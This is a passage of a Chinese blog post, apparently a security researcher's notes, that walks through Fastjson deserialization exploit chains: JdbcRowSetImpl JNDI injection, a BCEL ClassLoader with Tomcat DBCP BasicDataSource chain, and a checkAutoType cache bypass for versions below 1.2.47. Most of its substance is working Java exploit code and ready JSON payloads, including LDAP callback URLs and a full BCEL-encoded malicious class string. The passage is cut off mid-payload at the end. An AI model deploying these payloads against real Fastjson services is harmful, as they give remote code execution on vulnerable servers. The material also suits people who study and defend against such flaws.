successful"></p><p><img src="/images/pasted-1043.png" alt="upload successful"></p><h5 id="测试"><a href="#测试" class="headerlink" title="测试"></a>测试</h5><pre class=" language-java"><code class="language-java">    <span class="token keyword">public</span> <span class="token keyword">void</span> <span class="token function">setName</span><span class="token punctuation">(</span>String name<span class="token punctuation">)</span> <span class="token keyword">throws</span> IOException <span class="token punctuation">{</span>        System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span><span class="token string">"setName"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        Runtime<span class="token punctuation">.</span><span class="token function">getRuntime</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span>    <span class="token punctuation">}</span></code></pre><p><img src="/images/pasted-1044.png" alt="upload successful"></p><p><img src="/images/pasted-1045.png" alt="upload successful"></p><h1 id="2-JdbcRowSetImpl-的利用链-fastjson1-2-24"><a href="#2-JdbcRowSetImpl-的利用链-fastjson1-2-24" class="headerlink" title="2.JdbcRowSetImpl 的利用链(fastjson1.2.24)"></a>2.JdbcRowSetImpl 的利用链(fastjson1.2.24)</h1><p>jdbcRowSetImpl是比较常用的链，利用点是一个jndi注入</p><p><img src="/images/pasted-1046.png" alt="upload successful"><br>先看下变量是否可控，发现下面就是set方法</p><p><img src="/images/pasted-1047.png" alt="upload successful"><br>然后就看怎么才能调用这个connect()方法，findUsages一下</p><p><img src="/images/pasted-1048.png" alt="upload successful"><br>有限看set方法因为set方法在get前调用，上面分析过</p><p><img src="/images/pasted-1049.png" alt="upload successful"><br>这个方法也很简单，也满足上面分析javabeaninfo的要求，直接调用即可。</p><pre><code>set开头的方法要求如下：    方法名长度大于4且以set开头，且第四个字母要是大写    非静态方法    返回类型为void或当前类    参数个数为1个    寻找到符合要求的set开头的方法后会根据一定规则提取方法名后的变量名。再去跟这个类的属性去比对    有没有这个名称的属性。    如果没有这个属性并且这个set方法的输入是一个布尔型，会重新给属性名前面加上is，再取头两个字    符，第一个字符为大写（即isNa），去寻找这个属性名。get开头的方法要求如下：    方法名长度大于等于4    非静态方法    以get开头且第4个字母为大写    无传入参数    返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong</code></pre><p> 综合需要调用两个set方法setAutoCommit和setDataSourceName</p><pre class=" language-java"><code class="language-java">        String a <span class="token operator">=</span> <span class="token string">"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/mctYqCBt\",\"autoCommit\":false}"</span><span class="token punctuation">;</span>        JSONObject jsonObject <span class="token operator">=</span> JSON<span class="token punctuation">.</span><span class="token function">parseObject</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p><img src="/images/pasted-1050.png" alt="upload successful"><br>缺点:1.因为用的JNDI注入，受JDK版本限制 2.要能出网，不然无法加载远程类</p><h1 id="3-com-sun-org-apache-bcel-internal-util利用链-fastjson1-2-24-不出网"><a href="#3-com-sun-org-apache-bcel-internal-util利用链-fastjson1-2-24-不出网" class="headerlink" title="3.com.sun.org.apache.bcel.internal.util利用链(fastjson1.2.24 不出网)"></a>3.com.sun.org.apache.bcel.internal.util利用链(fastjson1.2.24 不出网)</h1><p>使用的依赖</p><pre><code>        &lt;dependency&gt;            &lt;groupId&gt;com.alibaba&lt;/groupId&gt;            &lt;artifactId&gt;fastjson&lt;/artifactId&gt;            &lt;version&gt;1.2.24&lt;/version&gt;        &lt;/dependency&gt;        &lt;dependency&gt;            &lt;groupId&gt;org.apache.tomcat&lt;/groupId&gt;            &lt;artifactId&gt;tomcat-dbcp&lt;/artifactId&gt;            &lt;version&gt;9.0.20&lt;/version&gt;        &lt;/dependency&gt;</code></pre><p><img src="/images/pasted-1051.png" alt="upload successful"><br>触发位置</p><p><img src="/images/pasted-1052.png" alt="upload successful"><br>先测试一下</p><pre class=" language-java"><code class="language-java"><span class="token keyword">package</span> org<span class="token punctuation">.</span>example<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>bcel<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>classfile<span class="token punctuation">.</span>Utility<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>bcel<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>util<span class="token punctuation">.</span>ClassLoader<span class="token punctuation">;</span><span class="token keyword">import</span> java<span class="token punctuation">.</span>io<span class="token punctuation">.</span>*<span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">BcelSerialize</span> <span class="token punctuation">{</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span>String<span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token keyword">throws</span> IOException<span class="token punctuation">,</span> ClassNotFoundException<span class="token punctuation">,</span> InstantiationException<span class="token punctuation">,</span> IllegalAccessException <span class="token punctuation">{</span>        ClassLoader classLoader <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ClassLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> bytes <span class="token operator">=</span> <span class="token function">fileConvertToByteArray</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">File</span><span class="token punctuation">(</span><span class="token string">"D:\\Java\\javaproject\\Fastjson\\src\\main\\java\\org\\example\\Evil.class"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        String encode <span class="token operator">=</span> Utility<span class="token punctuation">.</span><span class="token function">encode</span><span class="token punctuation">(</span>bytes<span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        classLoader<span class="token punctuation">.</span><span class="token function">loadClass</span><span class="token punctuation">(</span><span class="token string">"$$BCEL$$"</span><span class="token operator">+</span>encode<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">newInstance</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span>    <span class="token comment" spellcheck="true">//将文件转为字节码数组</span>    <span class="token comment" spellcheck="true">/**     * 把一个文件转化为byte字节数组。     *     * @return     */</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token function">fileConvertToByteArray</span><span class="token punctuation">(</span>File file<span class="token punctuation">)</span> <span class="token punctuation">{</span>        <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> data <span class="token operator">=</span> null<span class="token punctuation">;</span>        <span class="token keyword">try</span> <span class="token punctuation">{</span>            FileInputStream fis <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">FileInputStream</span><span class="token punctuation">(</span>file<span class="token punctuation">)</span><span class="token punctuation">;</span>            ByteArrayOutputStream baos <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ByteArrayOutputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">int</span> len<span class="token punctuation">;</span>            <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> buffer <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">byte</span><span class="token punctuation">[</span><span class="token number">1024</span><span class="token punctuation">]</span><span class="token punctuation">;</span>            <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>len <span class="token operator">=</span> fis<span class="token punctuation">.</span><span class="token function">read</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>                baos<span class="token punctuation">.</span><span class="token function">write</span><span class="token punctuation">(</span>buffer<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> len<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">}</span>            data <span class="token operator">=</span> baos<span class="token punctuation">.</span><span class="token function">toByteArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            fis<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            baos<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span><span class="token class-name">Exception</span> e<span class="token punctuation">)</span> <span class="token punctuation">{</span>            e<span class="token punctuation">.</span><span class="token function">printStackTrace</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token keyword">return</span> data<span class="token punctuation">;</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><p><img src="/images/pasted-1053.png" alt="upload successful"><br>encode原因存在decode操作</p><p><img src="/images/pasted-1054.png" alt="upload successful"><br>下一步找的如何调用loadClass，大佬们找的这个类。</p><p><img src="/images/pasted-1055.png" alt="upload successful"><br>这个类里面调用class.forName，如果driverClassName driverClassLoade可控，传入com.sun.org.apache.bcel.internal.util就能调用其loadClass()方法。这里是加载器的知识可以查一下相关知识。<br>发现均有set方法</p><p><img src="/images/pasted-1056.png" alt="upload successful"></p><p><img src="/images/pasted-1057.png" alt="upload successful"><br>就是找哪里调用了createConnectionFactory()</p><p><img src="/images/pasted-1058.png" alt="upload successful"><br>找的get方法调用createDataSource()，此get方法满足Fastjson在jsonobject时调用get方法的规则。</p><p><img src="/images/pasted-1059.png" alt="upload successful"><br>直接构造即可</p><pre class=" language-java"><code class="language-java"><span class="token keyword">package</span> org<span class="token punctuation">.</span>example<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>bcel<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>classfile<span class="token punctuation">.</span>Utility<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>bcel<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>util<span class="token punctuation">.</span>ClassLoader<span class="token punctuation">;</span><span class="token keyword">import</span> org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>tomcat<span class="token punctuation">.</span>dbcp<span class="token punctuation">.</span>dbcp2<span class="token punctuation">.</span>BasicDataSource<span class="token punctuation">;</span><span class="token keyword">import</span> java<span class="token punctuation">.</span>io<span class="token punctuation">.</span>*<span class="token punctuation">;</span><span class="token keyword">import</span> java<span class="token punctuation">.</span>sql<span class="token punctuation">.</span>SQLException<span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">BcelSerialize</span> <span class="token punctuation">{</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span>String<span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token keyword">throws</span> IOException<span class="token punctuation">,</span> ClassNotFoundException<span class="token punctuation">,</span> InstantiationException<span class="token punctuation">,</span> IllegalAccessException<span class="token punctuation">,</span> SQLException <span class="token punctuation">{</span>        ClassLoader classLoader <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ClassLoader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> bytes <span class="token operator">=</span> <span class="token function">fileConvertToByteArray</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">File</span><span class="token punctuation">(</span><span class="token string">"D:\\Java\\javaproject\\Fastjson\\src\\main\\java\\org\\example\\Evil.class"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        String encode <span class="token operator">=</span> Utility<span class="token punctuation">.</span><span class="token function">encode</span><span class="token punctuation">(</span>bytes<span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment" spellcheck="true">//        classLoader.loadClass("$$BCEL$$"+encode).newInstance();</span>        BasicDataSource basicDataSource <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">BasicDataSource</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        basicDataSource<span class="token punctuation">.</span><span class="token function">setDriverClassName</span><span class="token punctuation">(</span><span class="token string">"$$BCEL$$"</span><span class="token operator">+</span>encode<span class="token punctuation">)</span><span class="token punctuation">;</span>        basicDataSource<span class="token punctuation">.</span><span class="token function">setDriverClassLoader</span><span class="token punctuation">(</span>classLoader<span class="token punctuation">)</span><span class="token punctuation">;</span>        basicDataSource<span class="token punctuation">.</span><span class="token function">getConnection</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span>    <span class="token comment" spellcheck="true">//将文件转为字节码数组</span>    <span class="token comment" spellcheck="true">/**     * 把一个文件转化为byte字节数组。     *     * @return     */</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token function">fileConvertToByteArray</span><span class="token punctuation">(</span>File file<span class="token punctuation">)</span> <span class="token punctuation">{</span>        <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> data <span class="token operator">=</span> null<span class="token punctuation">;</span>        <span class="token keyword">try</span> <span class="token punctuation">{</span>            FileInputStream fis <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">FileInputStream</span><span class="token punctuation">(</span>file<span class="token punctuation">)</span><span class="token punctuation">;</span>            ByteArrayOutputStream baos <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ByteArrayOutputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">int</span> len<span class="token punctuation">;</span>            <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> buffer <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">byte</span><span class="token punctuation">[</span><span class="token number">1024</span><span class="token punctuation">]</span><span class="token punctuation">;</span>            <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>len <span class="token operator">=</span> fis<span class="token punctuation">.</span><span class="token function">read</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>                baos<span class="token punctuation">.</span><span class="token function">write</span><span class="token punctuation">(</span>buffer<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> len<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">}</span>            data <span class="token operator">=</span> baos<span class="token punctuation">.</span><span class="token function">toByteArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            fis<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            baos<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span><span class="token class-name">Exception</span> e<span class="token punctuation">)</span> <span class="token punctuation">{</span>            e<span class="token punctuation">.</span><span class="token function">printStackTrace</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token keyword">return</span> data<span class="token punctuation">;</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><p><img src="/images/pasted-1060.png" alt="upload successful"><br>测试一下fastjson反序列化</p><pre class=" language-java"><code class="language-java"><span class="token keyword">package</span> org<span class="token punctuation">.</span>example<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span>JSON<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span>JSONObject<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>bcel<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>classfile<span class="token punctuation">.</span>Utility<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>sun<span class="token punctuation">.</span>org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>bcel<span class="token punctuation">.</span>internal<span class="token punctuation">.</span>util<span class="token punctuation">.</span>ClassLoader<span class="token punctuation">;</span><span class="token keyword">import</span> org<span class="token punctuation">.</span>apache<span class="token punctuation">.</span>tomcat<span class="token punctuation">.</span>dbcp<span class="token punctuation">.</span>dbcp2<span class="token punctuation">.</span>BasicDataSource<span class="token punctuation">;</span><span class="token keyword">import</span> java<span class="token punctuation">.</span>io<span class="token punctuation">.</span>*<span class="token punctuation">;</span><span class="token keyword">import</span> java<span class="token punctuation">.</span>sql<span class="token punctuation">.</span>SQLException<span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">BcelSerialize</span> <span class="token punctuation">{</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span>String<span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token keyword">throws</span> IOException<span class="token punctuation">,</span> ClassNotFoundException<span class="token punctuation">,</span> InstantiationException<span class="token punctuation">,</span> IllegalAccessException<span class="token punctuation">,</span> SQLException <span class="token punctuation">{</span><span class="token comment" spellcheck="true">//        ClassLoader classLoader = new ClassLoader();</span>        <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> bytes <span class="token operator">=</span> <span class="token function">fileConvertToByteArray</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">File</span><span class="token punctuation">(</span><span class="token string">"D:\\Java\\javaproject\\Fastjson\\src\\main\\java\\org\\example\\Evil.class"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        String encode <span class="token operator">=</span> Utility<span class="token punctuation">.</span><span class="token function">encode</span><span class="token punctuation">(</span>bytes<span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment" spellcheck="true">//        classLoader.loadClass("$$BCEL$$"+encode).newInstance();</span><span class="token comment" spellcheck="true">//        BasicDataSource basicDataSource = new BasicDataSource();</span><span class="token comment" spellcheck="true">//        basicDataSource.setDriverClassName("$$BCEL$$" + encode);</span><span class="token comment" spellcheck="true">//        basicDataSource.setDriverClassLoader(classLoader);</span><span class="token comment" spellcheck="true">//        basicDataSource.getConnection();</span>        String DriverClassName <span class="token operator">=</span> <span class="token string">"$$BCEL$$"</span> <span class="token operator">+</span> encode<span class="token punctuation">;</span>        String a <span class="token operator">=</span> <span class="token string">"{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\""</span> <span class="token operator">+</span> DriverClassName <span class="token operator">+</span> <span class="token string">"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}"</span><span class="token punctuation">;</span>        System<span class="token punctuation">.</span>out<span class="token punctuation">.</span><span class="token function">println</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span>        JSONObject jsonObject <span class="token operator">=</span> JSON<span class="token punctuation">.</span><span class="token function">parseObject</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span>    <span class="token comment" spellcheck="true">//将文件转为字节码数组</span>    <span class="token comment" spellcheck="true">/**     * 把一个文件转化为byte字节数组。     *     * @return     */</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token function">fileConvertToByteArray</span><span class="token punctuation">(</span>File file<span class="token punctuation">)</span> <span class="token punctuation">{</span>        <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> data <span class="token operator">=</span> null<span class="token punctuation">;</span>        <span class="token keyword">try</span> <span class="token punctuation">{</span>            FileInputStream fis <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">FileInputStream</span><span class="token punctuation">(</span>file<span class="token punctuation">)</span><span class="token punctuation">;</span>            ByteArrayOutputStream baos <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ByteArrayOutputStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">int</span> len<span class="token punctuation">;</span>            <span class="token keyword">byte</span><span class="token punctuation">[</span><span class="token punctuation">]</span> buffer <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">byte</span><span class="token punctuation">[</span><span class="token number">1024</span><span class="token punctuation">]</span><span class="token punctuation">;</span>            <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>len <span class="token operator">=</span> fis<span class="token punctuation">.</span><span class="token function">read</span><span class="token punctuation">(</span>buffer<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>                baos<span class="token punctuation">.</span><span class="token function">write</span><span class="token punctuation">(</span>buffer<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> len<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">}</span>            data <span class="token operator">=</span> baos<span class="token punctuation">.</span><span class="token function">toByteArray</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            fis<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            baos<span class="token punctuation">.</span><span class="token function">close</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span><span class="token class-name">Exception</span> e<span class="token punctuation">)</span> <span class="token punctuation">{</span>            e<span class="token punctuation">.</span><span class="token function">printStackTrace</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token keyword">return</span> data<span class="token punctuation">;</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><pre class=" language-java"><code class="language-java"><span class="token punctuation">{</span><span class="token string">"@type"</span><span class="token operator">:</span><span class="token string">"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"</span><span class="token punctuation">,</span><span class="token string">"DriverClassName"</span><span class="token operator">:</span><span class="token string">"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$3dO$CA$Q$7d$L$c8r$e7$a9$f8$B$o$7ek$nXx$8d$j$c4$c6$60$p$7eD$88$c6rY7$b8x$dc$91$f3P$fe$91$b5$8d$gM$b4$f7G$Zg$_$GI$d8bg$e7$cd$7bo$s$b3$df$3f$ef$9f$A$f6$b1m$c3$c2$bc$8d$F$e42$c8$9b$b8$c8Q$e0X$b2$91F$91c$99c$85$n$5d$d5$be$8e$O$Y$92$a5$f2$rC$ea0$b8Q$M3u$ed$ab$d3$7e$b7$a5$c2$a6hy$84d$aa$d2$fbcN5$o$n$efND$_$$$91$t$83$dd$I$fa$a1TG$daP$ad$da$83$f6$f6$3a$e2A8$b01$c9$b1$ea$60$N$ebd$$$85$t$jl$60$93a$de$d4$5dO$f8m$b76$90$aa$X$e9$c0g$u$fe$a3$X$7d$3f$d2$5d5$y$g$af$z$86l$Q$b6$5d5$Q$dd$9e$a7$5c$d3$88$a0$7f$d1Y$ab$a3d$c40$3b$e6C3$b6U4Lr$a5r$7d$8cS$a1$R$d5$40I$86$9d$d2H$b5$R$85$daoWF$F$e7a$m$d5$fd$3d$J$K$a3$cc$e6m$Y$3c$9a$a5T$ca$97$d8D$86$3e$c0$9c$E$98Y$E$dd$Oe$ab$U$Z$c5$89$ddW$b0gz$d0F$e9N$c7$60$92D$d3Cj$93r$83$$$be$n1$97$7cA$ea$ea$JS$c7$lH_$93$96$7f$3d$c7E$8b$a8$T$d4$c3$98$e4$e9e$ac$ac$Y$e5$84$d1$d7S$ef$ZB9$Su$8e$acE$a2$d9x$a8$b9_$Do$M$df$x$C$A$A"</span><span class="token punctuation">,</span><span class="token string">"DriverClassLoader"</span><span class="token operator">:</span><span class="token punctuation">{</span><span class="token string">"@type"</span><span class="token operator">:</span><span class="token string">"com.sun.org.apache.bcel.internal.util.ClassLoader"</span><span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><p><img src="/images/pasted-1061.png" alt="upload successful"></p><h1 id="4-fastjson-lt-1-2-47绕过"><a href="#4-fastjson-lt-1-2-47绕过" class="headerlink" title="4.fastjson&lt;1.2.47绕过"></a>4.fastjson&lt;1.2.47绕过</h1><p>使用fastjson 1.2.25测试之前payload，发现有个autoType错误</p><p><img src="/images/pasted-1062.png" alt="upload successful"><br>调试对比发现多了config.checkAutoType</p><p><img src="/images/pasted-1063.png" alt="upload successful"><br>看下checkAutoType的流程</p><p><img src="/images/pasted-1064.png" alt="upload successful"><br>大佬们的绕过思路是缓存直接返回<br>看下怎么给恶意类先加载到map里，查找map.set，发现loadClass中有，也就是加载后会写到map里!<br><img src="/images/pasted-1065.png" alt="upload successful"><br>继续查找loadClass的调用位置</p><p><img src="/images/pasted-1066.png" alt="upload successful"></p><p><img src="/images/pasted-1067.png" alt="upload successful"><br>发现MiscCodec是一个反序列化器，查看fastjson，其实初始化时使用的到这个反序列器的</p><p><img src="/images/pasted-1068.png" alt="upload successful"><br>所以可以用此方法将恶意类加载到map里，绕过checkAuto限制<br>看下加载条件，值为var</p><p><img src="/images/pasted-1069.png" alt="upload successful"><br>构造</p><pre class=" language-java"><code class="language-java"><span class="token keyword">package</span> org<span class="token punctuation">.</span>example<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span>JSON<span class="token punctuation">;</span><span class="token keyword">import</span> com<span class="token punctuation">.</span>alibaba<span class="token punctuation">.</span>fastjson<span class="token punctuation">.</span>JSONObject<span class="token punctuation">;</span><span class="token keyword">public</span> <span class="token keyword">class</span> <span class="token class-name">StudentSerialize</span> <span class="token punctuation">{</span>    <span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">void</span> <span class="token function">main</span><span class="token punctuation">(</span>String<span class="token punctuation">[</span><span class="token punctuation">]</span> args<span class="token punctuation">)</span> <span class="token punctuation">{</span>        String a <span class="token operator">=</span> <span class="token string">"{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/kurnxDiX\",\"autoCommit\":false}}"</span><span class="token punctuation">;</span>        JSONObject jsonObject <span class="token operator">=</span> JSON<span class="token punctuation">.</span><span class="token function">parseObject</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><p><img src="/images/pasted-1070.png" alt="upload successful"><br>同理构造bcel，本地没成功，搭建了tomcat环境才成功的</p><pre class=" language-java"><code class="language-java"><span class="token punctuation">{</span>    <span class="token string">"xx"</span><span class="token operator">:</span>    <span class="token punctuation">{</span>        <span class="token string">"@type"</span> <span class="token operator">:</span> <span class="token string">"java.lang.Class"</span><span class="token punctuation">,</span>        <span class="token string">"val"</span>   <span class="token operator">:</span> <span class="token string">"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"</span>    <span class="token punctuation">}</span><span class="token punctuation">,</span>    <span class="token string">"x"</span> <span class="token operator">:</span> <span class="token punctuation">{</span>        <span class="token string">"name"</span><span class="token operator">:</span> <span class="token punctuation">{</span>            <span class="token string">"@type"</span> <span class="token operator">:</span> <span class="token string">"java.lang.Class"</span><span class="token punctuation">,</span>            <span class="token string">"val"</span>   <span class="token operator">:</span> <span class="token string">"com.sun.org.apache.bcel.internal.util.ClassLoader"</span>        <span class="token punctuation">}</span><span class="token punctuation">,</span>        <span class="token punctuation">{</span>            <span class="token string">"@type"</span><span class="token operator">:</span><span class="token string">"com.alibaba.fastjson.JSONObject"</span><span class="token punctuation">,</span>            <span class="token string">"c"</span><span class="token operator">:</span> <span class="token punctuation">{</span>                <span class="token string">"@type"</span><span class="token operator">:</span><span class="token string">"org.apache.tomcat.dbcp.dbcp2.BasicDataSource"</span><span class="token punctuation">,</span>                <span class="token string">"driverClassLoader"</span><span class="token operator">:</span> <span class="token punctuation">{</span>                    <span class="token string">"@type"</span> <span class="token operator">:</span> <span class="token 